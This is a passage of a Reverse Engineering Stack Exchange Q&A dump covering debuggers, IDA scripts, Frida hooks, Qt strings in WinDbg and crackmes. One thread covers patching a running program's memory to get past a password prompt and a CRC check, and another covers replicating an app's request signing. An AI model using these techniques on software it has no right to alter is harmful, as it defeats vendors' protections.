into my computer and nothing happened (absolutely nothing).</p>\n\n<p>I'm stuck for ideas now. Could it be performing some kind of communication over the USART pin functions or possibly even some kind of bit-banged protocol over the GPIO's? Perhaps the module is dead and that's why the USB isn't detected by the computer.</p>\n\n<p>What further steps could I take to reverse engineer this module?</p>\n\n<p><a href=\"https://i.stack.imgur.com/eE7wA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eE7wA.jpg\" alt=\"Top side of the module, cable from glass pannel detatched\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/8bwjs.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8bwjs.jpg\" alt=\"Under side of the module, STM MCU visible\"></a></p>\n",
        "Title": "Touch screen driver module - Determine comunication protocol",
        "Tags": "|protocol|usb|",
        "Answer": "<p>The manufacturer's <a href=\"https://www.elotouch.com/touchscreen-components.html\" rel=\"nofollow noreferrer\">website</a> suggests that at least their recent touch screen controllers are either serial and/or USB.</p>\n<p>The controller picture has the laptop model name (B320) on it which suggests it's a custom version produced by Elo for Lenovo.</p>\n<p>Looking at the driver files for hardware devices can be one way of understanding how they work. The Windows XP drivers can be found <a href=\"https://support.lenovo.com/gb/en/downloads/ds018695-elo-touch-panel-driver-for-microsoft-windows-xp-ideacentre-b320\" rel=\"nofollow noreferrer\">here</a> on Lenovo's website.</p>\n<p>This download actually contains both USB and Serial drivers, but these are not Lenovo specific. Instead it looks like the file <code>EloOptions.ini</code> is used to specify exactly which driver to install.  This file is clearly customized for Lenovo and confirms that it's the USB driver that is needed.</p>\n<pre><code>[Setup Options]\n; For Lenovo, set all but USB to 0\nAutoDetect = 0\nAllowInstallApr = 0\nAllowInstallSerial = 0\nAllowInstallUsb = 1\nCalibrateAfterInstall = 0\nBaseMode = 0\n</code></pre>\n<p>The <code>EloMTUsb.inf</code> file also suggests that it's installed as a USB HID class device.  If so, there's a good chance that you won't have to do too much reverse engineering as it should follow the relevant USB HID standards.</p>\n<p>The <code>Readme.doc</code> file list various controller part numbers which might also be helpful.</p>\n"
    },
    {
        "Id": "24872",
        "CreationDate": "2020-04-30T15:07:11.883",
        "Body": "<p>I am new to reverse engineering and I am learning about packed files.\nI saw that most of the time I can recognize a packed file with a little number of import functions in PE file and not many strings but can the export functions in PE file can give me hint if a file been packed?</p>\n",
        "Title": "PE file export functions of packed file",
        "Tags": "|static-analysis|packers|",
        "Answer": "<p>The presence or absence of exports alone is not enough to tell if a file is packed or unpacked. Most executables have no or very few exports but there are also legitimate executables with many exports. Packing can hide exports but might also leave them visible so it\u2019s not a reliable indicator either way. </p>\n\n<p>It\u2019s better to use other means of detecting packed files: entropy, signatures, runtime analysis and so on. </p>\n"
    },
    {
        "Id": "24885",
        "CreationDate": "2020-05-02T00:12:33.377",
        "Body": "<p>I have a stripped-down Linux-based embedded system where a closed-source program(32-bit <code>ELF</code> binary for MIPS) depends on several shared libraries. Two of those libraries are actually the same <code>libcurl</code> library, but compiled differently. I need to know which one the program is actually using.</p>\n\n<p>I can't install anything on that embedded system and the file system is read-only. Fortunately, there is a <code>gdb</code> available. When I execute the program and <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Attach.html\" rel=\"nofollow noreferrer\">attach</a> to it with <code>gdb</code> and print the loaded shared libraries with <code>info sharedlibrary</code>, then both libraries seem to be loaded:</p>\n\n<pre><code>(gdb) info sharedlibrary\nFrom        To          Syms Read   Shared Object Library\n/* output removed for brevity */\n0x28c6a8b0  0x28caf770  Yes         /usr/lib//libcurl-jke.so.1\n0x28d81150  0x28d86260  Yes         /usr/lib//libcurl-kkw.so.3\n/* output removed for brevity */\n</code></pre>\n\n<p>Also, when I check the functions or variables with <code>info functions</code> or <code>info variables</code>, then I see items from <code>libcurl</code> under <code>Non-debugging symbols</code>. However, I don't know if those are from <code>libcurl-jke.so.1</code> or from <code>libcurl-kkw.so.3</code>.</p>\n\n<p>When I <code>step</code> through the program the debugger never shows that those libraries are used, but I know that they are because I see a HTTP GET request from this embedded system. What might cause this? Is there a way to see all the functions the program executes and files where those functions originate from using <code>gdb</code>?</p>\n\n<p>Also, I could download this program and analyze it with <code>radare2</code> if this helps.</p>\n",
        "Title": "How to detect which shared libraries a binary is actually using?",
        "Tags": "|radare2|gdb|",
        "Answer": "<p>ELF model doesn\u2019t bind symbols to a specific library, so the first module providing a specific symbol is used. You can try to check into which address range the symbol\u2019s value falls. </p>\n\n<p>Note, however, that at the beginning most symbols point into the executable\u2019s PLT (program linkage table) so you might need to wait until they\u2019re actually called to get the resolved addresses. Another option is to put a breakpoint on a symbol and then step into it to see what library you end up in. </p>\n"
    },
    {
        "Id": "24894",
        "CreationDate": "2020-05-02T16:18:00.690",
        "Body": "<p>I've successfully reversed and patched an application on windows, but patching the executable on disk triggers a CRC check and prevents it from loading. I've used x64dbg and have the addresses I need (they are static and don't change on reruns). However, if the unmodified executable is already loaded and running, and then the patches are applied, everything will work fine. My question is how can I write a simple loader to patch those memory addresses after execution? I've been searching for this all over the Internet and can't get my head around it. The boiler plate codes I've found are giving me headaches as fixing the c++ code errors is so confusing.</p>\n\n<p>Here is my code:</p>\n\n<pre><code>#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;tchar.h&gt;\n#include &lt;iostream&gt;\n\nusing namespace std;\n\n\n\nint main()\n{\n    int newValue = 0x24;\n    uint8_t readTest;\n    byte num_char[16];\n\n    HWND hwnd = FindWindowA(NULL, \"Playback password authentication\");\n    if (hwnd == NULL)\n    {\n        cout &lt;&lt; \"Cannot find window\" &lt;&lt; endl;\n        Sleep(3000);\n        exit(-1);\n    }\n    else\n    {\n        DWORD procID;\n        GetWindowThreadProcessId(hwnd, &amp;procID);\n        HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);\n        if (procID == NULL)\n        {\n            cout &lt;&lt; \"Cannot obtain process.\" &lt;&lt; endl;\n            Sleep(3000);\n            exit(-1);\n        }\n        else \n        {\n            ReadProcessMemory(handle, (PBYTE*)0x0052BD7E, &amp;num_char, sizeof(num_char), 0);\n//          WriteProcessMemory(handle, (LPVOID)0x0052BD7E, &amp;newValue, sizeof(newValue), 0);\n            cout &lt;&lt; num_char &lt;&lt; endl;\n            Sleep(10000);\n        }\n    }\n}\n</code></pre>\n\n<p>First I need the code to actually read and print the hex bytes at those addresses so I can make sure the addresses and their values are actually correct. If this returns the correct values, then I think I using WriteProcessMemory won't be that hard. But the problem is the values returned for my addresses are not those I expect and see in x64dbg.</p>\n",
        "Title": "Patching memory",
        "Tags": "|c++|x64dbg|patch-reversing|",
        "Answer": "<p>A Process Has N Number of Modules<br>\nAnd these Modules can Load At Different Base Address<br>\nso using Addresses Like 0x0052BD7E may yield Wrong Results   </p>\n\n<p>Enumerate The Modules<br>\nFind The Correct Base Address<br>\nAdd The Relative Virtual Address<br>\nRead From Those Address   </p>\n\n<p>here is a small python code that reads the first 10 bytes of Calculator Metro app's    ApplicationFrameHost.exe in windows 10 try adapting the concept</p>\n\n<pre><code>from ctypes import *\nimport win32con\nimport win32process\nimport win32api\n\ncalwnd = windll.user32.FindWindowW(None,\"Calculator\")\nif(calwnd != None):\n    calpid = c_uint32(0)  \n    windll.user32.GetWindowThreadProcessId(calwnd,byref(calpid))\n    if(calpid.value != 0):\n        process_handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS,False,calpid.value)\n        if(process_handle != None):\n            module_handles = win32process.EnumProcessModules(process_handle)\n            print(\"Total No of Module = %d\" % len(module_handles))\n            print(\"base Address Of First Module = %x\" % module_handles[0])\n            print(\"Mod1=%s\" % win32process.GetModuleFileNameEx(process_handle, module_handles[0]))\n            buf = create_string_buffer(16)\n            tmp = c_void_p(module_handles[0])\n            bread = c_int()\n            windll.kernel32.ReadProcessMemory(process_handle.handle,tmp,byref(buf),16,byref(bread))\n            for i in range(0,16,1):\n                print(buf[i],end=\" \") \n</code></pre>\n\n<p>executing </p>\n\n<pre><code>D:\\pyt&gt;python writeproc.py\nTotal No of Module = 65\nbase Address Of First Module = 7ff728780000\nMod1 = C:\\WINDOWS\\system32\\ApplicationFrameHost.exe\nb'M' b'Z' b'\\x90' b'\\x00' b'\\x03' b'\\x00' b'\\x00' b'\\x00' b'\\x04' b'\\x00' b'\\x00' b'\\x00' b'\\xff' b'\\xff' b'\\x00' b'\\x00\n</code></pre>\n"
    },
    {
        "Id": "24895",
        "CreationDate": "2020-05-02T16:57:30.640",
        "Body": "<p>Why doesn't <code>rax</code> get loaded from <code>xmm0</code> here?  <code>radare2</code> bug?</p>\n\n<p>GitHub issue <a href=\"https://github.com/radareorg/radare2/issues/16778\" rel=\"nofollow noreferrer\">`movq rax, xmm0` doesn't work in native debugger</a> filed.</p>\n\n<pre><code>[0x0003b0e0]&gt; drr\nrole reg    value            ref\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\nSN   rax    0                 0 R 0x3010102464c457f\n     rbx    0                 0 R 0x3010102464c457f\nA3   rcx    0                 0 R 0x3010102464c457f\nA2   rdx    7ff0000000000000 \nA1   rsi    0                 0 R 0x3010102464c457f\nA0   rdi    0                 0 R 0x3010102464c457f\nA4   r8     0                 0 R 0x3010102464c457f\nA5   r9     0                 0 R 0x3010102464c457f\nA6   r10    0                 0 R 0x3010102464c457f\nA7   r11    0                 0 R 0x3010102464c457f\n     r12    0                 0 R 0x3010102464c457f\n     r13    0                 0 R 0x3010102464c457f\n     r14    0                 0 R 0x3010102464c457f\n     r15    0                 0 R 0x3010102464c457f\nPC   rip    3b0ee             241902 (.text) sym.finite R X 'movq rax, xmm0'\nBP   rbp    10078000          268926976 R W 0x0 --&gt;  0 R 0x3010102464c457f\n     rflags 0                 0 R 0x3010102464c457f\nSP   rsp    10078000          268926976 R W 0x0 --&gt;  0 R 0x3010102464c457f\n[0x0003b0e0]&gt; dr xmm0\n0xaaaaaaaaaaaaaaaa5555555555555555\n[0x0003b0e0]&gt; ds\n[0x0003b0e0]&gt; drr\nrole reg    value            ref\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\nSN   rax    8000000000000000 \n     rbx    0                 0 R 0x3010102464c457f\nA3   rcx    0                 0 R 0x3010102464c457f\nA2   rdx    7ff0000000000000 \nA1   rsi    0                 0 R 0x3010102464c457f\nA0   rdi    0                 0 R 0x3010102464c457f\nA4   r8     0                 0 R 0x3010102464c457f\nA5   r9     0                 0 R 0x3010102464c457f\nA6   r10    0                 0 R 0x3010102464c457f\nA7   r11    0                 0 R 0x3010102464c457f\n     r12    0                 0 R 0x3010102464c457f\n     r13    0                 0 R 0x3010102464c457f\n     r14    0                 0 R 0x3010102464c457f\n     r15    0                 0 R 0x3010102464c457f\nPC   rip    3b0f3             241907 (.text) sym.finite R X 'and rax, rdx'\nBP   rbp    10078000          268926976 R W 0x0 --&gt;  0 R 0x3010102464c457f\n     rflags 0                 0 R 0x3010102464c457f\nSP   rsp    10078000          268926976 R W 0x0 --&gt;  0 R 0x3010102464c457f\n[0x0003b0e0]&gt; \n</code></pre>\n",
        "Title": "Is `movq rax, xmm0` buggy in Radare2?",
        "Tags": "|radare2|debuggers|x86-64|emulation|",
        "Answer": "<blockquote>\n<p>Is <code>movq rax, xmm0</code> buggy in Radare2?</p>\n</blockquote>\n<p>No, it's just not fully implemented in all debuggers yet.</p>\n<h2>Native Debugger Works!</h2>\n<p>This instruction works fine using the native debugger.  The native debugger is launched with <code>r2 -d yourFileGoesHere</code>.  Alternatively, if you are already in <code>r2</code> looking at the file, but <code>r2</code> wasn't launched with the <code>-d</code> switch, the file can be reopened in debug mode with the <code>r2</code> command <code>ood</code> (o_pen o_penned file with the d_ebugger ?).</p>\n<h2><a href=\"https://radare.gitbooks.io/radare2book/disassembling/esil.html\" rel=\"nofollow noreferrer\">ESIL</a> <a href=\"https://radare.gitbooks.io/radare2book/analysis/emulation.html\" rel=\"nofollow noreferrer\">Emulator</a> doesn't fully support SIMD yet.</h2>\n<p>See Github issues <a href=\"https://github.com/radareorg/radare2/issues/4327\" rel=\"nofollow noreferrer\">#4327</a> and <a href=\"https://github.com/radareorg/radare2/issues/11421\" rel=\"nofollow noreferrer\">#11421</a></p>\n<p>The &quot;bug&quot; noted in the question was actually demonstrating that the ESIL Emulator doesn't fully support the <code>xmm0</code> register yet.</p>\n<h2>Summary</h2>\n<p>The native debugger accurately executes the <code>movq rax, xmm0</code> instruction.  The ESIL Emulator does not accurately emulate the <code>movq rax, xmm0</code> instruction <em>yet</em>.</p>\n"
    },
    {
        "Id": "24913",
        "CreationDate": "2020-05-04T13:28:38.990",
        "Body": "<p>So lets say i have these type of instructions in functions :</p>\n\n<p>x == constant value</p>\n\n<p>x = constant value</p>\n\n<p>x > constant value</p>\n\n<p>no matter if its just an assignment or compare or anything, i want to get the constant values in all functions from main onward  </p>\n\n<p>tried googling but couldn't find anything that helps me with this, is this possible? </p>\n",
        "Title": "Is there any way to write a IDA script that finds constant values used in all functions, no matter the instruction?",
        "Tags": "|ida|malware|idapython|",
        "Answer": "<p>There are probably better answers I'd love to know about but let's say you're looking for instructions that have 0x10 as second operand like:</p>\n\n<pre><code>cmp eax, 10\nmov esi, 10\n</code></pre>\n\n<p>You could do something like:</p>\n\n<pre><code>for func in idautils.Functions():\n    flags = idc.get_func_attr(func, FUNCATTR_FLAGS)\n    if flags &amp; FUNC_LIB or flags &amp; FUNC_THUNK:\n        continue\n    dism_addr = list(idautils.FuncItems(func))\n    for cur in dism_addr:\n        if \"10h\" in idc.print_operand(cur, 1):\n            print \"0x%x\" % cur, idc.generate_disasm_line(cur, 0)\n</code></pre>\n\n<p>As IDA disassembles 0x10 as 10h, this would work for any instruction where this constant appears. If you need to check other operands I think it's easy to start from the code above. You could also match the mnemonic (CMP, MOV, etc) using <code>idc.print_insn_mnem(cur)</code> if needed.</p>\n\n<p>Additionally, I've included a check to make sure the code ignores library and thunk functions as you're probably not interested on them. Feel free to remove the check if you want. ;-)</p>\n"
    },
    {
        "Id": "24917",
        "CreationDate": "2020-05-05T02:13:04.953",
        "Body": "<p>I'm new here so I'm sorry if this isn't the right section for my question.</p>\n\n<p>I'm reverse engineering a software that's written in .net 3.5 c# which loads a weird dynamic dll, which has an important functionality of decrypting / encrypting strings. I tried to make a c# program and import the dlls but visual studio complains about invalid / unsupported dll.</p>\n\n<p>Here is some output and info:</p>\n\n<pre><code>targetframework: .Net Framework v3.5 \n</code></pre>\n\n<pre><code>FileAnalyzer.dll:  PE32 executable (DLL) (GUI) Intel 80386, for MS Windows\n</code></pre>\n\n<p>the .net software loads it and hooks its functions like this:</p>\n\n<pre><code> public class FileDataCtrlWrap\n  {\n    [DllImport(\"FileDataCtrl.dll\", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]\n    private static extern bool GetPersonalSettingsFolder(byte[] buffer, uint type);\n\n    [DllImport(\"FileDataCtrl.dll\", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]\n    private static extern bool GetSettingsFolder(byte[] buffer, uint type);\n\n    [DllImport(\"FileDataCtrl.dll\", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]\n    private static extern bool GetSnapShotFolder(byte[] buffer);\n\n    [DllImport(\"FileDataCtrl.dll\", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]\n    private static extern bool GetSnapShotPath(string cameraName, byte[] buffer);\n\n    [DllImport(\"FileDataCtrl.dll\", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)]\n    private static extern int Encrypt(string intput, StringBuilder output);\n...\n...\n..etc\n</code></pre>\n\n<ol>\n<li>How is this .net program loading a pe32 dll? </li>\n<li>Is it possible to replicate this behavior? If not what are the alternatives?</li>\n</ol>\n\n<p>the dll file can be found <a href=\"https://filebin.net/sqxsz86tmh63fdq2\" rel=\"nofollow noreferrer\">here</a></p>\n",
        "Title": "Loading a PE32 executable DLL Intel 80386 into a c# program",
        "Tags": "|dll|c#|dll-injection|pe32|",
        "Answer": "<p>You can't load 32bit Dlls in 64bit Processes</p>\n\n<p>Solution: build a 32bit App or write an external 32bit prozess(yes a EXE) that loads the DLL and communication with that process using Pipes or TCP/IP from your 64bit app</p>\n\n<p>btw: the first Dlls name is FileAnalyzer.dll, in the Code is FileDataCtrl.dll?</p>\n"
    },
    {
        "Id": "24924",
        "CreationDate": "2020-05-05T11:45:50.950",
        "Body": "<p>I know that there is a similar question but the answers didn't provide any fix for that problem.</p>\n\n<p>I am decompiling a .dll file, and I have found out the subroutine that I needed, but it's throwing a \"call analysis failed\" at line <code>call eax</code>.</p>\n\n<p>My question is: Can I properly decompile the subroutine with this <code>call eax</code> line, or can I change it to something else, or simply ignore it? Working in ASM is really tough because I need to take out the code itself, not patch, and manually converting assembly code into pseudocode will be really hard to do.</p>\n",
        "Title": "How to decompile \"call eax\" in IDA Pro?",
        "Tags": "|ida|assembly|dll|dll-injection|",
        "Answer": "<p>This problem is not unique to <code>call eax</code> but potentially any indirect call or a call to a function with wrong type information. The possible causes and solutions are described in the <a href=\"https://www.hex-rays.com/products/decompiler/manual/failures.shtml#11\" rel=\"nofollow noreferrer\">Hex-Rays Decompiler manual</a>.</p>\n\n<p>One common cause is the stack adjustment of the call not being correctly detected by IDA (e.g. the called function is stdcall with arguments but IDA detected that stack change is 0). This can be fixed by specifying the correct stack change value via the <kbd>Alt+K</kbd> shortcut (4 for each push is a good rule of thumb).</p>\n"
    },
    {
        "Id": "24927",
        "CreationDate": "2020-05-05T15:27:50.900",
        "Body": "<p>I'm debugging a Qt App and trying to view QT string object data within debugger. I'm referring to this <a href=\"https://0cch.com/2019/07/30/windbg-with-qt4-natvis/\" rel=\"nofollow noreferrer\">blog</a> which shows how to do that however ,i dont have access to source code. windbg lacks the ability to display basic QT data. In windbg I want to see what all QtStrings are being passed to any Qt-API.</p>\n\n<p>In following disassembly string object returned by toString() are being passed to setHttpUserAgent API, arguments are placed on rcx and rdx registers. I want to view those strings in windbg / any debugger.</p>\n\n<pre><code>.text:00000001400424CC                 lea     rdx, [rbp+57h+var_90]\n.text:00000001400424D0                 mov     rcx, rax\n.text:00000001400424D3                 call    cs:?toString@QVariant@@QEBA?AVQString@@XZ ; QVariant::toString(void)\n.text:00000001400424D9                 nop\n.text:00000001400424D9 ;   } \n.text:00000001400424DA                 mov     rdx, rax\n.text:00000001400424DD                 mov     rcx, r14\n.text:00000001400424E0                 call    cs:?setHttpUserAgent@QWebEngineProfile@@QEAAXAEBVQString@@@Z ; QWebEngineProfile::setHttpUserAgent(QString const &amp;)\n.text:00000001400424E6                 nop\n.text:00000001400424E6 ;   }\n</code></pre>\n\n<p>To do this i believe i need to have better understanding of Qt string's memory layout. If there is any document which can help me figure that out please let me know.</p>\n\n<p>Thanks in Advance.</p>\n",
        "Title": "Viewing QT String Object Data under Windbg",
        "Tags": "|qt|",
        "Answer": "<p>the function toString Returns a Qstring in rax<br>\ndoing db poi(@rax) should show you the string after you step over  the function   </p>\n\n<p>a small automated breakpoint</p>\n\n<p>setting a conditional breakpoint that sets another one shot breakpoint on return address and prints the content of rax and continues </p>\n\n<pre><code>0:006&gt; bl (should be in one line )\n     0 e Disable Clear  00000000`5ffd7220     0001 (0001)  0:**** \nQt5Core!QT::QVariant::toString \"bp /1 @$ra \\\"db poi(@rax) l30;.echo ========;gc\\\";gc\"\n0:006&gt; g\n0000027c`ca346580  02 00 00 00 05 00 00 00-06 00 00 00 00 00 00 00  ................\n0000027c`ca346590  18 00 00 00 00 00 00 00-73 00 74 00 61 00 72 00  ........s.t.a.r.\n0000027c`ca3465a0  74 00 00 00 00 00 00 00-d8 be 55 86 00 45 02 80  t.........U..E..\n========\n0000027c`d0feb620  02 00 00 00 10 00 00 00-11 00 00 00 00 00 00 00  ................\n0000027c`d0feb630  18 00 00 00 00 00 00 00-30 00 30 00 30 00 30 00  ........0.0.0.0.\n0000027c`d0feb640  30 00 30 00 30 00 30 00-30 00 30 00 34 00 30 00  0.0.0.0.0.0.4.0.\n========\n0000027c`ca45a750  02 00 00 00 0c 00 00 00-0d 00 00 00 00 00 00 00  ................\n0000027c`ca45a760  18 00 00 00 00 00 00 00-5b 00 6d 00 61 00 69 00  ........[.m.a.i.\n0000027c`ca45a770  6e 00 20 00 65 00 6e 00-74 00 72 00 79 00 5d 00  n. .e.n.t.r.y.].\n========\n00000000`60093038  ff ff ff ff 00 00 00 00-00 00 00 00 00 00 00 00  ................\n00000000`60093048  18 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n00000000`60093058  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n========\n0000027c`ca343040  02 00 00 00 04 00 00 00-05 00 00 00 01 00 00 00  ................\n0000027c`ca343050  18 00 00 00 00 00 00 00-4e 00 61 00 6d 00 65 00  ........N.a.m.e.\n0000027c`ca343060  00 00 61 74 69 6f 6e 00-84 bb 01 83 00 29 01 90  ..ation......)..\n========\n0000027c`ca3433d0  02 00 00 00 07 00 00 00-08 00 00 00 01 00 00 00  ................\n0000027c`ca3433e0  18 00 00 00 00 00 00 00-41 00 64 00 64 00 72 00  ........A.d.d.r.\n0000027c`ca3433f0  65 00 73 00 73 00 00 00-bd bb 48 83 00 3c 01 95  e.s.s.....H..&lt;..\n========\n</code></pre>\n"
    },
    {
        "Id": "24932",
        "CreationDate": "2020-05-06T11:29:49.747",
        "Body": "<p>I'm debugging some 32-bit process using windbg kernel debugger. This process calls some syscalls, so I set few breakpoints at kernel functions like nt!NtQuerySystemInformation. So after breakpoint hit, what's the easiest way to trace back from kernel function to place where syscall was called in user-mode process? It's wow64 so call stack doesn't help, this is how it looks like:</p>\n\n<pre><code>[0x0]   nt!NtQuerySystemInformation   \n[0x1]   nt!KiSystemServiceExitPico + 0x25e   \n[0x2]   ntdll!NtQuerySystemInformation + 0x14   \n[0x3]   wow64!whNT32QuerySystemInformation + 0x34   \n[0x4]   wow64!whNtQuerySystemInformation + 0xb4   \n[0x5]   wow64!Wow64SystemServiceEx + 0x15a   \n[0x6]   wow64cpu!ServiceNoTurbo + 0xb   \n[0x7]   wow64cpu!BTCpuSimulate + 0x9   \n[0x8]   wow64!RunCpuSimulation + 0xd   \n[0x9]   wow64!Wow64LdrpInitialize + 0x12d   \n[0xa]   ntdll!LdrpInitializeProcess + 0x193e   \n[0xb]   ntdll!_LdrpInitialize + 0x4cd95   \n[0xc]   ntdll!LdrpInitialize + 0x3b   \n[0xd]   ntdll!LdrInitializeThunk + 0xe   \n</code></pre>\n\n<p>I don't want to set breakpoints at usermode modules, have to trace it back from kernel. I've found out that <code>jmp fword ptr [r14]</code> at the end of wow64cpu!RunSimulatedCode is used to jump back to usermode. However RunSimulatedCode isn't always called, some functions use something else. Moreover, after jumping back to usermode windbg cannot retrieve user mode call stack.</p>\n",
        "Title": "Get return address from syscall",
        "Tags": "|windows|debugging|windbg|kernel|",
        "Answer": "<p>The syscall instruction is always invoked in long mode, by the 64-bit <code>ntdll</code> (there are two <code>ntdll</code> in a wow64 process), so the return to <em>user mode</em> should be there. The <code>jmp fword ptr [r14]</code> instruction jumps back to <strong>x86</strong> code from x64. </p>\n\n<p>When dealing with mixed mode stacks in WinDbg, the wow64ext extension is useful, e.g.:</p>\n\n<pre><code>!load wow64ext\n!wow64exts.info\n!wow64exts.k\n</code></pre>\n"
    },
    {
        "Id": "24940",
        "CreationDate": "2020-05-06T23:24:33.877",
        "Body": "<p>I'm trying to get the return value of a android native function call using Frida but with no success:</p>\n\n<pre><code>Interceptor.attach(Module.getExportByName('lib.so', 'Token'), {\n    onEnter: function(args) {\n    },\n    onLeave: function(retval) {\n      console.log(retval);\n    }\n});\n</code></pre>\n\n<p>I know that the value is a bytearray but I can't find a way to read it from the native pointer.</p>\n\n<p>Can anyone point me in the right direction? What should I do the get the value from retval? I already tried to use cast, but it didn't work.</p>\n\n<p>thanks</p>\n",
        "Title": "Read bytearray from retval on onLeave event",
        "Tags": "|android|frida|",
        "Answer": "<p>I just needed to cast to array buffer:</p>\n\n<pre><code>        var b = Java.use('[B')\n        var buffer = Java.cast(retval, b);\n        var result = Java.array('byte', buffer);\n\n        var str_ = \"\";\n        for (var i=0; i &lt; result.length; i++) {\n            str_ += String.fromCharCode(result[i]);     \n\n        }\n        console.log(\"String: \" + str_)\n\n     }```\n</code></pre>\n"
    },
    {
        "Id": "24941",
        "CreationDate": "2020-05-07T07:16:41.093",
        "Body": "<p>I have been diving into an apk's source code, doing both static analysis with Jadx (same as dex2jar) and dynamic analysis with Frida.</p>\n\n<p>I am trying to replicate the method that signs HTTP requests \"signRequest\". The thing is that it is only declared in an interface and nowhere in the code is there an actual implementation of that method. When I use Frida to get the instance that uses this method, I can run the method and make it work. The instance in question is like this: com.xxx.yyy.zzz@24d6bf8 but the thing is that the class com.xxx.yyy.zzz, and even the module com.xxx.yyy, do not exist in the source code.</p>\n\n<p>Do you have any idea how this might happen?</p>\n\n<p>EDIT: I've had a hunch and thought that maybe, since I had encountered \"antidex2jar\" classes in the source code, maybe there were protections against dex2jar making it throw errors, therefore preventing it from decompiling the classes, as I had read somewhere. However, even the smali code on Android-Studio doesn't contain the class.</p>\n",
        "Title": "Dynamic analysis (Frida) reveals instance of a class that doesn't exist in the source code (dex2jar)",
        "Tags": "|static-analysis|java|dynamic-analysis|frida|",
        "Answer": "<p>There are multiple possibilities how this might happen.</p>\n<ol>\n<li><p>The code is loaded dynamically at run-time, e.g. for an [obfuscated/encrypted] dex file that is present in the APK file but does not follow the standard naming scheme <code>/classes*.dex</code>. In case the whole application code is located in such external code files most likely an &quot;APK packer&quot; tool (like DxShield, DexProtector, ..) has been applied on the application.  You can try to use <a href=\"https://github.com/rednaga/APKiD\" rel=\"nofollow noreferrer\">APKiD</a> to identify the used packer.</p>\n</li>\n<li><p>The code is downloaded from an web-server and then loaded dynamically.</p>\n</li>\n<li><p>The code is generated on-the-fly at run-time. This can happen if e.g. based on an interface some proxy-classes are automatically generated using other code as base (e.g. for handling HTTP-[JSON]-RPC calls that are automatically translated to method calls). But usually this code is not located in a new package.</p>\n</li>\n</ol>\n<p>As your question includes the Frida tag you should try to use it (if it works on that application) and check the application at run-time what classes are loaded.\nYou can hook the various classloader methods that allow to load (dex) byte code at run-time and dump/save the loaded byte code.</p>\n<p>Alternatively there are some tools and tutorials online that claim to be able to defeat Android packers and dump all Dex classes.</p>\n"
    },
    {
        "Id": "24953",
        "CreationDate": "2020-05-09T10:14:28.747",
        "Body": "<p>I'm doing a really easy crackmes exercise (<a href=\"https://crackmes.one/crackme/5e4ec05c33c5d4439bb2dbea\" rel=\"nofollow noreferrer\">https://crackmes.one/crackme/5e4ec05c33c5d4439bb2dbea</a>) and I can't figure out what the binary is doing because functions have extremely weird names. </p>\n\n<p>Here's a small fragment of the main function disassembly code.</p>\n\n<pre><code>...\n0x000000000040102b &lt;+25&gt;:   cmpl   $0x1,-0x84(%rbp)\n   0x0000000000401032 &lt;+32&gt;:    jle    0x40107b &lt;main+105&gt;\n   0x0000000000401034 &lt;+34&gt;:    mov    $0x401750,%esi\n   0x0000000000401039 &lt;+39&gt;:    mov    $0x602200,%edi\n   0x000000000040103e &lt;+44&gt;:    callq  0x400e30 &lt;_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt&gt;\n   0x0000000000401043 &lt;+49&gt;:    mov    $0x400ec0,%esi\n   0x0000000000401048 &lt;+54&gt;:    mov    %rax,%rdi\n   0x000000000040104b &lt;+57&gt;:    callq  0x400ea0 &lt;_ZNSolsEPFRSoS_E@plt&gt;\n   0x0000000000401050 &lt;+62&gt;:    mov    $0x401780,%esi\n   0x0000000000401055 &lt;+67&gt;:    mov    $0x602200,%edi\n   0x000000000040105a &lt;+72&gt;:    callq  0x400e30 &lt;_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt&gt;\n...\n</code></pre>\n\n<p>How should I approach this code?</p>\n",
        "Title": "Weird function names in disassembly (crackmes)",
        "Tags": "|crackme|",
        "Answer": "<p>Though objdump is a good utility I would recommend using some better utilities to disassemble, like radare2, ghidra or idafree70. </p>\n\n<p>But if you would prefer objdump, pass it the -C command to demangle those names.</p>\n\n<pre><code>E:\\5e4ec05c33c5d4439bb2dbea&gt;f:\\msys64\\usr\\bin\\objdump.exe --start-address=0x401012 --stop-address=0x401043 -M intel -d -C Sh4ll10.1.bin\n\nSh4ll10.1.bin:     file format elf64-x86-64\n\n\nDisassembly of section .text:\n\n0000000000401012 &lt;main&gt;:\n  401012:       55                      push   rbp\n  401013:       48 89 e5                mov    rbp,rsp\n  401016:       53                      push   rbx\n  401017:       48 81 ec 88 00 00 00    sub    rsp,0x88\n  40101e:       89 bd 7c ff ff ff       mov    DWORD PTR [rbp-0x84],edi\n  401024:       48 89 b5 70 ff ff ff    mov    QWORD PTR [rbp-0x90],rsi\n  40102b:       83 bd 7c ff ff ff 01    cmp    DWORD PTR [rbp-0x84],0x1\n  401032:       7e 47                   jle    40107b &lt;main+0x69&gt;\n  401034:       be 50 17 40 00          mov    esi,0x401750 \n  401039:       bf 00 22 60 00          mov    edi,0x602200\n  40103e:       e8 ed fd ff ff          call   400e30 &lt;std::basic_ostream&lt;char, std::char_traits&lt;char&gt; &gt;&amp; std::operator&lt;&lt; &lt;std::char_traits&lt;char&gt; 